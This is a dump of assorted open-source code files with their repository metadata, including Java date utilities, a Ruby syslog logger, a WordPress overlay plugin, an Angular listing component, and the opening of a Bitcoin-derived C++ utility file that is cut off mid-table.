repo_name stringlengths 4 116 | path stringlengths 4 379 | size stringlengths 1 7 | content stringlengths 3 1.05M | license stringclasses 15
values |
|---|---|---|---|---|
hptruong93/Finance-Tracker | src/Utilities/DateUtility.java | 4670 | package utilities;
import java.sql.Date;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Locale;
public class DateUtility {
public static final DateFormat DEFAULT_DISPLAY_FORMAT = new SimpleDateFormat("yyyy - MM - dd", Locale.ENGLISH);
public static final DateFormat DEFAULT_ENTER_FORMAT = new SimpleDateFormat("dd/MM/yyyy", Locale.ENGLISH);
/**
* Attempt to parse a string to a date. Support the following format
*
* Date: dd
* Month: MM, MMM, MMMM
* Year: YYYY
* All possible combination of the above formats
* are accepted. The following orders are accepted:
* date - month - year
* year - month - date
*
* Spaces are ignored. "/" can be replaced by "-" or "."
* @param input input string to parse
* @return parsed Date. null if cannot parse
*/
public static java.sql.Date parseSQLDate(String input) {
String[] joiner = new String[]{"-", "/", "."};
String[] date = new String[] {"dd"};
String[] month = new String[] {"MM", "MMM", "MMMM"};
String[] year = new String[] {"yyyy"};
ArrayList<String> possibleFormat = new ArrayList<String>();
for (String j : joiner) {
for (String d : date) {
for (String m : month) {
for (String y : year) {
possibleFormat.add(d + j + m + j + y);
possibleFormat.add(y + j + m + j + d);
}
}
}
}
for (String format : possibleFormat) {
try {
DateFormat parser = new SimpleDateFormat(format, Locale.ENGLISH);
parser.setLenient(false);
java.util.Date tempOut = parser.parse(input);
return new java.sql.Date(tempOut.getTime());
} catch (Exception e) {
}
}
return null;
}
public static java.util.Date parseDate(String date) {
return new java.util.Date(parseSQLDate(date).getTime());
}
public static String dateToString(java.util.Date date) {
return DEFAULT_DISPLAY_FORMAT.format(date);
}
public static Date getTodaySQL() {
return new java.sql.Date(Calendar.getInstance().getTimeInMillis());
}
public static java.util.Date getToday() {
return new java.util.Date(Calendar.getInstance().getTimeInMillis());
}
public static int getTodayDate() {
Calendar temp = Calendar.getInstance();
return temp.get(Calendar.DAY_OF_MONTH);
}
public static int getThisMonth() {
Calendar temp = Calendar.getInstance();
return temp.get(Calendar.MONTH) + 1;
}
public static int getThisYear() {
Calendar temp = Calendar.getInstance();
return temp.get(Calendar.YEAR);
}
public static Calendar getPureCalendar(Calendar calendar) {
calendar.set(Calendar.HOUR_OF_DAY, 0); // ! clear would not reset the hour of day !
calendar.clear(Calendar.MINUTE);
calendar.clear(Calendar.SECOND);
calendar.clear(Calendar.MILLISECOND);
return calendar;
}
public static Date startThisWeek() {
Calendar calendar = getPureCalendar(Calendar.getInstance());
// get start of this week in milliseconds
calendar.set(Calendar.DAY_OF_WEEK, calendar.getFirstDayOfWeek());
return new Date(calendar.getTimeInMillis());
}
public static Date endThisWeek() {
Calendar calendar = getPureCalendar(Calendar.getInstance());
// get start of this week in milliseconds
calendar.set(Calendar.DAY_OF_WEEK, calendar.getActualMaximum(Calendar.DAY_OF_WEEK));
return new Date(calendar.getTimeInMillis());
}
public static Date startThisMonth() {
Calendar calendar = getPureCalendar(Calendar.getInstance());
// get start of the month
calendar.set(Calendar.DAY_OF_MONTH, 1);
return new Date(calendar.getTimeInMillis());
}
public static Date endThisMonth() {
Calendar calendar = getPureCalendar(Calendar.getInstance());
calendar.set(Calendar.DAY_OF_MONTH,
calendar.getActualMaximum(Calendar.DAY_OF_MONTH));
return new Date(calendar.getTimeInMillis());
}
public static Date startThisYear() {
Calendar calendar = getPureCalendar(Calendar.getInstance());
// get start of the month
calendar.set(Calendar.DAY_OF_YEAR, 1);
return new Date(calendar.getTimeInMillis());
}
public static Date endThisYear() {
Calendar calendar = getPureCalendar(Calendar.getInstance());
// get start of the month
calendar.set(Calendar.DAY_OF_YEAR, calendar.getActualMaximum(Calendar.DAY_OF_YEAR));
return new Date(calendar.getTimeInMillis());
}
public static Date today() {
Calendar today = getPureCalendar(Calendar.getInstance());
return new Date(today.getTimeInMillis());
}
/**
* Private constructor so that no instance is created
*/
private DateUtility() {
throw new IllegalStateException("Cannot create an instance of static class Util");
}
}
| mit |
zachhuff386/react-boilerplate | app/actions/ItemActions.ts | 1124 | /// <reference path="../References.d.ts"/>
import Dispatcher from '../dispatcher/Dispatcher';
import * as ItemTypes from '../types/ItemTypes';
export function sync(): Promise<void> {
Dispatcher.dispatch({
type: ItemTypes.LOADING,
});
return new Promise<void>((resolve): void => {
let data: ItemTypes.Item[] = [
{
id: '1001',
content: 'Item One',
},
{
id: '1002',
content: 'Item Two',
},
{
id: '1003',
content: 'Item Three',
},
];
setTimeout(() => {
Dispatcher.dispatch({
type: ItemTypes.LOADED,
});
Dispatcher.dispatch({
type: ItemTypes.SYNC,
data: {
items: data,
},
});
resolve();
}, 1000);
});
}
export function create(content: string): void {
Dispatcher.dispatch({
type: ItemTypes.CREATE,
data: {
content: content,
},
});
}
export function update(id: string, content: string): void {
Dispatcher.dispatch({
type: ItemTypes.UPDATE,
data: {
id: id,
content: content,
},
});
}
export function remove(id: string): void {
Dispatcher.dispatch({
type: ItemTypes.REMOVE,
data: {
id: id,
},
});
}
| mit |
jsoverson/rcl | test/rcl_test.js | 853 | 'use strict';
var grunt = require('grunt');
/*
======== A Handy Little Nodeunit Reference ========
https://github.com/caolan/nodeunit
Test methods:
test.expect(numAssertions)
test.done()
Test assertions:
test.ok(value, [message])
test.equal(actual, expected, [message])
test.notEqual(actual, expected, [message])
test.deepEqual(actual, expected, [message])
test.notDeepEqual(actual, expected, [message])
test.strictEqual(actual, expected, [message])
test.notStrictEqual(actual, expected, [message])
test.throws(block, [error], [message])
test.doesNotThrow(block, [error], [message])
test.ifError(value)
*/
var helpers = require('../tasks/helpers');
exports['client-logger'] = {
setUp: function(done) {
// setup here
done();
},
'helper': function(test) {
test.done();
}
};
| mit |
martinjmares/javatwo-jaxrs-angular-tools-demo | src/main/java/name/marmar/javatwo/PresentationResource.java | 3172 | package name.marmar.javatwo;
import com.google.common.base.Predicate;
import com.google.common.base.Predicates;
import com.google.common.collect.Collections2;
import com.wordnik.swagger.annotations.*;
import name.marmar.javatwo.model.ConferenceDay;
import name.marmar.javatwo.model.Presentation;
import name.marmar.javatwo.model.Room;
import name.marmar.javatwo.service.PresentationCatalogueService;
import javax.inject.Inject;
import javax.ws.rs.*;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.logging.Logger;
/** Rest resource for presentations.
*/
@Path("presentation")
@Api(value = "presentation", description = "Manage presentations." )
public class PresentationResource {
private static final Logger log = Logger.getLogger(PresentationResource.class.getName());
@Inject
private PresentationCatalogueService service;
/** Returns list of planned presentations.
*
* @param day is optional and if is set then result is filtered for this particular day.
* @param room is optioanl and if set then result is filtered for this particular room.
* @return list of presentations
*/
@GET
@Produces("application/json")
@ApiOperation(value = "List of planned presentations.",
notes = "It is possible to filter result using query parameters room and day",
response = Presentation.class,
responseContainer = "List")
public Collection<Presentation> list(@ApiParam( value = "Filter just for this day events", required = false )
@QueryParam("day") final ConferenceDay day,
@ApiParam( value = "Filter just for this room number", required = false )
@QueryParam("room") final Integer room) {
log.info("listPresentations(" + day + ", " + room + ")");
List<Predicate<Presentation>> predicates = new ArrayList<>(2);
if (day != null) {
predicates.add(new Predicate<Presentation>() {
@Override
public boolean apply(Presentation presentation) {
return day == presentation.getConferenceDay();
}
});
}
if (room != null) {
predicates.add(new Predicate<Presentation>() {
@Override
public boolean apply(Presentation presentation) {
return room.intValue() == presentation.getRoomNumber();
}
});
}
return Collections2.filter(service.listPresentations(), Predicates.and(predicates));
}
/** Add a new presentation
*/
@POST
@Produces("application/json")
@ApiOperation(value = "Add a new presentation.",
response = Presentation.class)
@ApiResponses( {
@ApiResponse( code = 409, message = "Presentation with such name already exists." )
} )
public Presentation add(@ApiParam( value = "Presentation to be add", required = true )Presentation presentation) {
service.add(presentation);
return presentation;
}
}
| mit |
johnskopis/syslog_ruby | lib/syslog_ruby/logger.rb | 4142 | require 'socket'
module SyslogRuby
class Logger
attr_accessor :ident, :facility, :socket, :hostname, :mask, :log_uri
class << self
def setup_severity_methods
SyslogRuby::Severity.constants.each do |level_name|
level = SyslogRuby::Severity.const_get level_name
define_method(level_name.downcase) do |*args|
message = args.shift
facility = args.shift || send(:facility)
_log(facility, level, message)
end
end
end
end
@@facilities = {}
@@severities = {}
Facility.setup_constants @@facilities
Severity.setup_constants @@severities
self.setup_severity_methods
def initialize(ident = 'ruby',
facility = Facility::LOCAL6,
options = {})
@ident = "#{ident}[#{$$}]"
@facility = _configure_facility(facility)
@mask = LOG_UPTO(Severity::DEBUG)
@log_uri = options.fetch(:uri, 'testing')
@hostname = Socket.gethostname.split('.').first
_open
end
def _configure_facility(facility)
case facility
when Integer || Fixnum
facility
when Symbol || String
Facility[Facility]
else
Facility::NONE
end
end
def log(level, message, *message_args)
level = case level
when Integer || Fixnum
level
when Symbol || String
Severity[level]
else
Severity::INFO
end
_log(facility, level, message, *message_args)
end
def close
raise RuntimeError.new "syslog not open" if socket.closed?
socket.close
end
def reopen(*args)
close && _open
end
def LOG_MASK(level)
Severity[level]
end
def LOG_UPTO(level)
(0...Severity[level]).inject(Integer(0)) do |mask, i|
mask|i
end
end
def opened?
socket && !socket.closed?
end
def options
0
end
private
def _connect_unix(path)
@local = true
begin
@socket = UNIXSocket.new(path)
rescue Errno::EPROTOTYPE => e
raise unless e.message =~ /Protocol wrong type for socket/
@socket = Socket.new Socket::PF_UNIX, Socket::SOCK_DGRAM
@socket.connect Socket.pack_sockaddr_un(path)
end
end
def _connect_udp(uri)
host, port = uri[6..-1].split(':')
@socket = UDPSocket.new
@socket.connect(host, port.to_i)
end
def _connect_tcp(uri)
host, port = uri[6..-1].split(':')
@socket = TCPSocket.new(host, port.to_i)
end
def _connect_test
@socket = STDERR.dup.fileno
end
def _open
if @log_uri.start_with? '/'
_connect_unix(@log_uri)
elsif @log_uri.start_with? 'tcp://'
_connect_tcp(@log_uri)
elsif @log_uri.start_with? 'udp://'
_connect_udp(@log_uri)
elsif @log_uri == 'testing'
_connect_test
else
raise RuntimeError.new 'unknown :uri ' \
'must be one of path, tcp://, or udp://'
end
rescue => e
STDERR.puts "An exception (#{e.message}) occured while connecting to: "\
"#{@log_uri}."
end
def _log(facility, level, message, *message_args)
return unless level & mask
msg = if message_args.length > 0
message % message_args
else
message
end
proto_msg = if @local
"<#{facility + level}> "\
"#{ident}" \
": " \
"#{msg}\n"
else
"<#{facility + level}> "\
"#{Time.now.strftime('%b %d %H:%M:%S')} " \
"#{hostname} " \
"#{ident}" \
": " \
"#{msg}\n"
end
begin
!!socket.write(proto_msg)
rescue => e
retries ||= 0
retries += 1
if retries < 10
_open
retry if opened?
else
STDERR.puts "syslog is down!! tried to log: #{proto_msg}"
end
end
end
end
end
| mit |
3tnet/t-cms | app/Models/Traits/Typeable.php | 543 | <?php
namespace App\Models\Traits;
use App\Models\Type;
trait Typeable
{
public function scopeByType($query, $type)
{
if ($type instanceof Type) {
$typeId = $type->id;
} elseif (is_array($type)) {
$typeId = $type['id'];
} elseif (is_null($type)) {
$typeId = null;
} else {
$typeId = intval($type);
}
return $query->where('type_id', $typeId);
}
public function type()
{
return $this->belongsTo(Type::class);
}
}
| mit |
Emethium/salsa | angular4-client/src/app/views/components/donator-listing.component.ts | 3082 | import { Observable } from 'rxjs/Observable';
import { Component, OnInit } from '@angular/core';
import { ActivatedRoute, ParamMap, Router } from '@angular/router';
import { Location } from '@angular/common';
import { NgxPaginationModule } from 'ngx-pagination';
import { FlashMessagesService } from 'ngx-flash-messages';
import 'rxjs/add/operator/switchMap';
import { DonatorService } from '../../services/donator.service';
import { Donator } from '../../models/donator';
@Component({
selector: 'app-donator-listing',
templateUrl: './donator-listing.component.html',
styleUrls: ['./donator-listing.component.css']
})
export class DonatorListComponent implements OnInit {
page = 1;
rowSelected: boolean;
donators: Observable<Donator[]>;
selectedDonator: Donator;
constructor(
private donatorService: DonatorService,
private route: ActivatedRoute,
private router: Router,
private location: Location,
private flashMessagesService: FlashMessagesService
) { }
ngOnInit() {
this.route.paramMap
.subscribe((params: ParamMap) => {
this.donators = this.donatorService.search(params.get('firstName'),
params.get('lastName'), params.get('mothersName'), params.get('city'),
params.get('sex'), params.get('bloodType'), params.get('bloodFactor'),
params.get('aptitude'))
});
}
onSelect(donator: Donator): void {
if (donator != null) {
this.selectedDonator = donator;
this.rowSelected = true;
} else {
this.clearSelection();
}
}
clearSelection(): void {
this.selectedDonator = null;
this.rowSelected = false;
}
isRowSelected() {
if (this.rowSelected) {
return true;
} else {
return false;
}
}
willButtonBeShown(donator: Donator): boolean {
if (this.rowSelected && donator === this.selectedDonator) {
return false;
} else {
return true;
}
}
transAptitude(b: boolean) {
if (b) {
return true;
} else {
return false;
}
}
gotoDetail(): void {
this.router.navigate(['components/donator-detail', this.selectedDonator.id]);
}
goBack(): void {
this.location.back();
}
delete(donator: Donator): void {
if (confirm('Você tem certeza que quer excluir esse registro?')) {
this.donatorService.delete(donator.id)
.then(() => {
this.donators = this.donators
.map(donators => donators.filter(d => d !== donator));
});
}
}
showFlash(): void {
scroll(0, 0);
this.flashMessagesService.show('Registro removido com sucesso!', {
classes: ['alert', 'alert-danger'], // You can pass as many classes as you need
timeout: 3000, // Default is 3000
});
}
}
| mit |
MrCarlLister/overlay-content-for-Wordpress- | content-overlay.php | 2665 | <?php
/*
Plugin Name: Overlay content with colorbox
Plugin URI: http://www.everythingdifferent.co.uk
Description: Plugin for displaying specific external page content element in an overlay
Author: C Lister
Version: 1.0
Author URI: http://www.everythingdifferent.co.uk
*/
// register all hooks
register_activation_hook(__FILE__, 'db_oc_install');
register_deactivation_hook(__FILE__, 'db_oc_uninstall');
// register all hooks
function db_oc_install(){//WHEN PLUGIN ACTIVATES CREATE A TABLE (IF IT DOESN'T ALREADY EXIST)
global $wpdb;//DATABASE LOGIN DETAILS
global $oc_db_version;//VERSION CONTROL
// DB Sync tasks table
$oc_table = $wpdb->prefix."overlaycontent";
$sql = "CREATE TABLE ".$oc_table." (oc_id bigint(20) NOT NULL AUTO_INCREMENT,
element_id varchar(20) DEFAULT 'themain' NOT NULL,
click_class varchar(20) DEFAULT 'overlay-link' NOT NULL,
UNIQUE KEY oc_id (oc_id)
)";
require_once(ABSPATH. 'wp-admin/includes/upgrade.php');
dbDelta($sql);
$wpdb->insert($oc_table,array('oc_id' => '1'));
add_option("oc_db_version", $oc_db_version);
}
function db_oc_uninstall(){//WHEN PLUGIN DEACTIVATES DROP TABLE (IF IT EXISTS)
global $wpdb;//DATABASE LOGIN DETAILS
global $oc_db_version;//VERSION CONTROL
// DB Sync tasks table
$oc_table = $wpdb->prefix."overlaycontent";
$wpdb->query('DROP TABLE IF EXISTS ' .$oc_table);
}
function overlaycontent_scripts() {
wp_enqueue_script( 'overlay-script', plugins_url('script.js', __FILE__), array( 'jquery' ), '20150330', true );
wp_enqueue_style( 'overlay-css', plugins_url('styles.css', __FILE__), '1', true );
wp_enqueue_script( 'colorbox-script', plugins_url('jquery.colorbox-min.js', __FILE__), array( 'jquery' ), '20150101', true );
wp_localize_script("overlay-script", "site",
array( "theme_path" => home_url('/'))
);
};
add_action( 'wp_enqueue_scripts', 'overlaycontent_scripts' );
function overlaycontent_admin() {
include('content-overlay_import_admin.php');
}
function overlaycontent_admin_actions() {
add_options_page('Overlay Content Settings', 'Overlay Content Settings', 'manage_options', 'overlaycontent_importer', 'overlaycontent_admin');
}
add_action('admin_menu', 'overlaycontent_admin_actions');
function hidden_values() {
global $wpdb;
$oc_table = $wpdb->prefix."overlaycontent";
$mylink = $wpdb->get_row("SELECT * FROM $oc_table WHERE oc_id = 1");
$gettheid = $mylink->element_id;
$gettheclass = $mylink->click_class;
echo '<input type="hidden" id="oc_elementid" value="#'.$gettheid.'">';
echo '<input type="hidden" id="oc_elementclass" value=".'.$gettheclass.'">';
};
add_action('wp_footer', 'hidden_values'); | mit |
jmthompson2015/rivalry | example/src/main/java/org/rivalry/example/runescape/RivalryDataGrandExchange.java | 2445 | //*****************************************************************************
// Rivalry (http://code.google.com/p/rivalry)
// Copyright (c) 2011 Rivalry.org
// Admin rivalry@jeffreythompson.net
//
// See the file "LICENSE.txt" for information on usage and redistribution of
// this file, and for a DISCLAIMER OF ALL WARRANTIES.
//*****************************************************************************
package org.rivalry.example.runescape;
import org.rivalry.core.model.Candidate;
import org.rivalry.core.model.Criterion;
import org.rivalry.core.model.RivalryData;
/**
* Provides a default implementation of a grand exchange.
*/
public class RivalryDataGrandExchange extends AbstractGrandExchange
{
/** Map of item to value. */
// private final Map<Item, Integer> _itemToValue = new HashMap<Item, Integer>();
/** Rivalry data. */
private final RivalryData _rivalryData;
/**
* Construct this object with the given parameter.
*
* @param rivalryData Rivalry data.
*/
public RivalryDataGrandExchange(final RivalryData rivalryData)
{
_rivalryData = rivalryData;
// final Criterion criterion = rivalryData.findCriterionByName(Constants.VALUE_CRITERION);
//
// for (final Candidate candidate : rivalryData.getCandidates())
// {
// final Item item = Item.valueOfNameIgnoreCase(candidate.getName());
//
// if (item != null)
// {
// final Double value = candidate.getRating(criterion);
//
// if (value != null)
// {
// putValue(item, value.intValue());
// }
// }
// }
}
@Override
public Integer getValue(final Item item)
{
// return _itemToValue.get(item);
Integer answer = null;
final Candidate candidate = _rivalryData.findCandidateByName(item.getName());
if (candidate != null)
{
final Criterion valueCriterion = _rivalryData.findCriterionByName(Constants.VALUE_CRITERION);
final Double value = candidate.getRating(valueCriterion);
if (value != null)
{
answer = value.intValue();
}
}
return answer;
}
/**
* @param item Item.
* @param value Value.
*/
// private void putValue(final Item item, final Integer value)
// {
// _itemToValue.put(item, value);
// }
}
| mit |
Vizzuality/gfw | components/map/actions.js | 537 | import { createAction } from 'redux/actions';
export const setMapLoading = createAction('setMapLoading');
export const setMapSettings = createAction('setMapSettings');
export const setMapInteractions = createAction('setMapInteractions');
export const setMapInteractionSelected = createAction(
'setMapInteractionSelected'
);
export const clearMapInteractions = createAction('clearMapInteractions');
export const setBasemapFromLegend = createAction('setBasemapFromLegend');
export const setMapBasemap = createAction('setMapBasemap');
| mit |
KaSt/equikoin | src/util.cpp | 43213 | // Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef WIN32
// for posix_fallocate
#ifdef __linux__
#define _POSIX_C_SOURCE 200112L
#endif
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/resource.h>
#endif
#include "util.h"
#include "sync.h"
#include "version.h"
#include "ui_interface.h"
#include <boost/algorithm/string/join.hpp>
#include <boost/algorithm/string/case_conv.hpp> // for to_lower()
#include <boost/algorithm/string/predicate.hpp> // for startswith() and endswith()
// Work around clang compilation problem in Boost 1.46:
// /usr/include/boost/program_options/detail/config_file.hpp:163:17: error: call to function 'to_internal' that is neither visible in the template definition nor found by argument-dependent lookup
// See also: http://stackoverflow.com/questions/10020179/compilation-fail-in-boost-librairies-program-options
// http://clang.debian.net/status.php?version=3.0&key=CANNOT_FIND_FUNCTION
namespace boost {
namespace program_options {
std::string to_internal(const std::string&);
}
}
#include <boost/program_options/detail/config_file.hpp>
#include <boost/program_options/parsers.hpp>
#include <boost/filesystem.hpp>
#include <boost/filesystem/fstream.hpp>
#include <boost/foreach.hpp>
#include <boost/thread.hpp>
#include <openssl/crypto.h>
#include <openssl/rand.h>
#include <stdarg.h>
#ifdef WIN32
#ifdef _MSC_VER
#pragma warning(disable:4786)
#pragma warning(disable:4804)
#pragma warning(disable:4805)
#pragma warning(disable:4717)
#endif
#ifdef _WIN32_WINNT
#undef _WIN32_WINNT
#endif
#define _WIN32_WINNT 0x0501
#ifdef _WIN32_IE
#undef _WIN32_IE
#endif
#define _WIN32_IE 0x0501
#define WIN32_LEAN_AND_MEAN 1
#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <io.h> /* for _commit */
#include "shlobj.h"
#elif defined(__linux__)
# include <sys/prctl.h>
#endif
using namespace std;
map<string, string> mapArgs;
map<string, vector<string> > mapMultiArgs;
bool fDebug = false;
bool fDebugNet = false;
bool fPrintToConsole = false;
bool fPrintToDebugger = false;
bool fDaemon = false;
bool fServer = false;
bool fCommandLine = false;
string strMiscWarning;
bool fTestNet = false;
bool fBloomFilters = true;
bool fNoListen = false;
bool fLogTimestamps = false;
CMedianFilter<int64> vTimeOffsets(200,0);
volatile bool fReopenDebugLog = false;
bool fCachedPath[2] = {false, false};
// Init OpenSSL library multithreading support
static CCriticalSection** ppmutexOpenSSL;
void locking_callback(int mode, int i, const char* file, int line)
{
if (mode & CRYPTO_LOCK) {
ENTER_CRITICAL_SECTION(*ppmutexOpenSSL[i]);
} else {
LEAVE_CRITICAL_SECTION(*ppmutexOpenSSL[i]);
}
}
LockedPageManager LockedPageManager::instance;
// Init
class CInit
{
public:
CInit()
{
// Init OpenSSL library multithreading support
ppmutexOpenSSL = (CCriticalSection**)OPENSSL_malloc(CRYPTO_num_locks() * sizeof(CCriticalSection*));
for (int i = 0; i < CRYPTO_num_locks(); i++)
ppmutexOpenSSL[i] = new CCriticalSection();
CRYPTO_set_locking_callback(locking_callback);
#ifdef WIN32
// Seed random number generator with screen scrape and other hardware sources
RAND_screen();
#endif
// Seed random number generator with performance counter
RandAddSeed();
}
~CInit()
{
// Shutdown OpenSSL library multithreading support
CRYPTO_set_locking_callback(NULL);
for (int i = 0; i < CRYPTO_num_locks(); i++)
delete ppmutexOpenSSL[i];
OPENSSL_free(ppmutexOpenSSL);
}
}
instance_of_cinit;
void RandAddSeed()
{
// Seed with CPU performance counter
int64 nCounter = GetPerformanceCounter();
RAND_add(&nCounter, sizeof(nCounter), 1.5);
memset(&nCounter, 0, sizeof(nCounter));
}
void RandAddSeedPerfmon()
{
RandAddSeed();
// This can take up to 2 seconds, so only do it every 10 minutes
static int64 nLastPerfmon;
if (GetTime() < nLastPerfmon + 10 * 60)
return;
nLastPerfmon = GetTime();
#ifdef WIN32
// Don't need this on Linux, OpenSSL automatically uses /dev/urandom
// Seed with the entire set of perfmon data
unsigned char pdata[250000];
memset(pdata, 0, sizeof(pdata));
unsigned long nSize = sizeof(pdata);
long ret = RegQueryValueExA(HKEY_PERFORMANCE_DATA, "Global", NULL, NULL, pdata, &nSize);
RegCloseKey(HKEY_PERFORMANCE_DATA);
if (ret == ERROR_SUCCESS)
{
RAND_add(pdata, nSize, nSize/100.0);
OPENSSL_cleanse(pdata, nSize);
printf("RandAddSeed() %lu bytes\n", nSize);
}
#endif
}
uint64 GetRand(uint64 nMax)
{
if (nMax == 0)
return 0;
// The range of the random source must be a multiple of the modulus
// to give every possible output value an equal possibility
uint64 nRange = (std::numeric_limits<uint64>::max() / nMax) * nMax;
uint64 nRand = 0;
do
RAND_bytes((unsigned char*)&nRand, sizeof(nRand));
while (nRand >= nRange);
return (nRand % nMax);
}
int GetRandInt(int nMax)
{
return GetRand(nMax);
}
uint256 GetRandHash()
{
uint256 hash;
RAND_bytes((unsigned char*)&hash, sizeof(hash));
return hash;
}
//
// OutputDebugStringF (aka printf -- there is a #define that we really
// should get rid of one day) has been broken a couple of times now
// by well-meaning people adding mutexes in the most straightforward way.
// It breaks because it may be called by global destructors during shutdown.
// Since the order of destruction of static/global objects is undefined,
// defining a mutex as a global object doesn't work (the mutex gets
// destroyed, and then some later destructor calls OutputDebugStringF,
// maybe indirectly, and you get a core dump at shutdown trying to lock
// the mutex).
static boost::once_flag debugPrintInitFlag = BOOST_ONCE_INIT;
// We use boost::call_once() to make sure these are initialized in
// in a thread-safe manner the first time it is called:
static FILE* fileout = NULL;
static boost::mutex* mutexDebugLog = NULL;
static void DebugPrintInit()
{
assert(fileout == NULL);
assert(mutexDebugLog == NULL);
boost::filesystem::path pathDebug = GetDataDir() / "debug.log";
fileout = fopen(pathDebug.string().c_str(), "a");
if (fileout) setbuf(fileout, NULL); // unbuffered
mutexDebugLog = new boost::mutex();
}
int OutputDebugStringF(const char* pszFormat, ...)
{
int ret = 0; // Returns total number of characters written
if (fPrintToConsole)
{
// print to console
va_list arg_ptr;
va_start(arg_ptr, pszFormat);
ret += vprintf(pszFormat, arg_ptr);
va_end(arg_ptr);
}
else if (!fPrintToDebugger)
{
static bool fStartedNewLine = true;
boost::call_once(&DebugPrintInit, debugPrintInitFlag);
if (fileout == NULL)
return ret;
boost::mutex::scoped_lock scoped_lock(*mutexDebugLog);
// reopen the log file, if requested
if (fReopenDebugLog) {
fReopenDebugLog = false;
boost::filesystem::path pathDebug = GetDataDir() / "debug.log";
if (freopen(pathDebug.string().c_str(),"a",fileout) != NULL)
setbuf(fileout, NULL); // unbuffered
}
// Debug print useful for profiling
if (fLogTimestamps && fStartedNewLine)
ret += fprintf(fileout, "%s ", DateTimeStrFormat("%Y-%m-%d %H:%M:%S", GetTime()).c_str());
if (pszFormat[strlen(pszFormat) - 1] == '\n')
fStartedNewLine = true;
else
fStartedNewLine = false;
va_list arg_ptr;
va_start(arg_ptr, pszFormat);
ret += vfprintf(fileout, pszFormat, arg_ptr);
va_end(arg_ptr);
}
#ifdef WIN32
if (fPrintToDebugger)
{
static CCriticalSection cs_OutputDebugStringF;
// accumulate and output a line at a time
{
LOCK(cs_OutputDebugStringF);
static std::string buffer;
va_list arg_ptr;
va_start(arg_ptr, pszFormat);
buffer += vstrprintf(pszFormat, arg_ptr);
va_end(arg_ptr);
int line_start = 0, line_end;
while((line_end = buffer.find('\n', line_start)) != -1)
{
OutputDebugStringA(buffer.substr(line_start, line_end - line_start).c_str());
line_start = line_end + 1;
ret += line_end-line_start;
}
buffer.erase(0, line_start);
}
}
#endif
return ret;
}
string vstrprintf(const char *format, va_list ap)
{
char buffer[50000];
char* p = buffer;
int limit = sizeof(buffer);
int ret;
loop
{
va_list arg_ptr;
va_copy(arg_ptr, ap);
#ifdef WIN32
ret = _vsnprintf(p, limit, format, arg_ptr);
#else
ret = vsnprintf(p, limit, format, arg_ptr);
#endif
va_end(arg_ptr);
if (ret >= 0 && ret < limit)
break;
if (p != buffer)
delete[] p;
limit *= 2;
p = new char[limit];
if (p == NULL)
throw std::bad_alloc();
}
string str(p, p+ret);
if (p != buffer)
delete[] p;
return str;
}
string real_strprintf(const char *format, int dummy, ...)
{
va_list arg_ptr;
va_start(arg_ptr, dummy);
string str = vstrprintf(format, arg_ptr);
va_end(arg_ptr);
return str;
}
string real_strprintf(const std::string &format, int dummy, ...)
{
va_list arg_ptr;
va_start(arg_ptr, dummy);
string str = vstrprintf(format.c_str(), arg_ptr);
va_end(arg_ptr);
return str;
}
bool error(const char *format, ...)
{
va_list arg_ptr;
va_start(arg_ptr, format);
std::string str = vstrprintf(format, arg_ptr);
va_end(arg_ptr);
printf("ERROR: %s\n", str.c_str());
return false;
}
void ParseString(const string& str, char c, vector<string>& v)
{
if (str.empty())
return;
string::size_type i1 = 0;
string::size_type i2;
loop
{
i2 = str.find(c, i1);
if (i2 == str.npos)
{
v.push_back(str.substr(i1));
return;
}
v.push_back(str.substr(i1, i2-i1));
i1 = i2+1;
}
}
string FormatMoney(int64 n, bool fPlus)
{
// Note: not using straight sprintf here because we do NOT want
// localized number formatting.
int64 n_abs = (n > 0 ? n : -n);
int64 quotient = n_abs/COIN;
int64 remainder = n_abs%COIN;
string str = strprintf("%"PRI64d".%08"PRI64d, quotient, remainder);
// Right-trim excess zeros before the decimal point:
int nTrim = 0;
for (int i = str.size()-1; (str[i] == '0' && isdigit(str[i-2])); --i)
++nTrim;
if (nTrim)
str.erase(str.size()-nTrim, nTrim);
if (n < 0)
str.insert((unsigned int)0, 1, '-');
else if (fPlus && n > 0)
str.insert((unsigned int)0, 1, '+');
return str;
}
bool ParseMoney(const string& str, int64& nRet)
{
return ParseMoney(str.c_str(), nRet);
}
bool ParseMoney(const char* pszIn, int64& nRet)
{
string strWhole;
int64 nUnits = 0;
const char* p = pszIn;
while (isspace(*p))
p++;
for (; *p; p++)
{
if (*p == '.')
{
p++;
int64 nMult = CENT*10;
while (isdigit(*p) && (nMult > 0))
{
nUnits += nMult * (*p++ - '0');
nMult /= 10;
}
break;
}
if (isspace(*p))
break;
if (!isdigit(*p))
return false;
strWhole.insert(strWhole.end(), *p);
}
for (; *p; p++)
if (!isspace(*p))
return false;
if (strWhole.size() > 10) // guard against 63 bit overflow
return false;
if (nUnits < 0 || nUnits > COIN)
return false;
int64 nWhole = atoi64(strWhole);
int64 nValue = nWhole*COIN + nUnits;
nRet = nValue;
return true;
}
// safeChars chosen to allow simple messages/URLs/email addresses, but avoid anything
// even possibly remotely dangerous like & or >
static string safeChars("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890 .,;_/:?@");
string SanitizeString(const string& str)
{
string strResult;
for (std::string::size_type i = 0; i < str.size(); i++)
{
if (safeChars.find(str[i]) != std::string::npos)
strResult.push_back(str[i]);
}
return strResult;
}
static const signed char phexdigit[256] =
{ -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
0,1,2,3,4,5,6,7,8,9,-1,-1,-1,-1,-1,-1,
-1,0xa,0xb,0xc,0xd,0xe,0xf,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,0xa,0xb,0xc,0xd,0xe,0xf,-1,-1,-1,-1,-1,-1,-1,-1,-1,
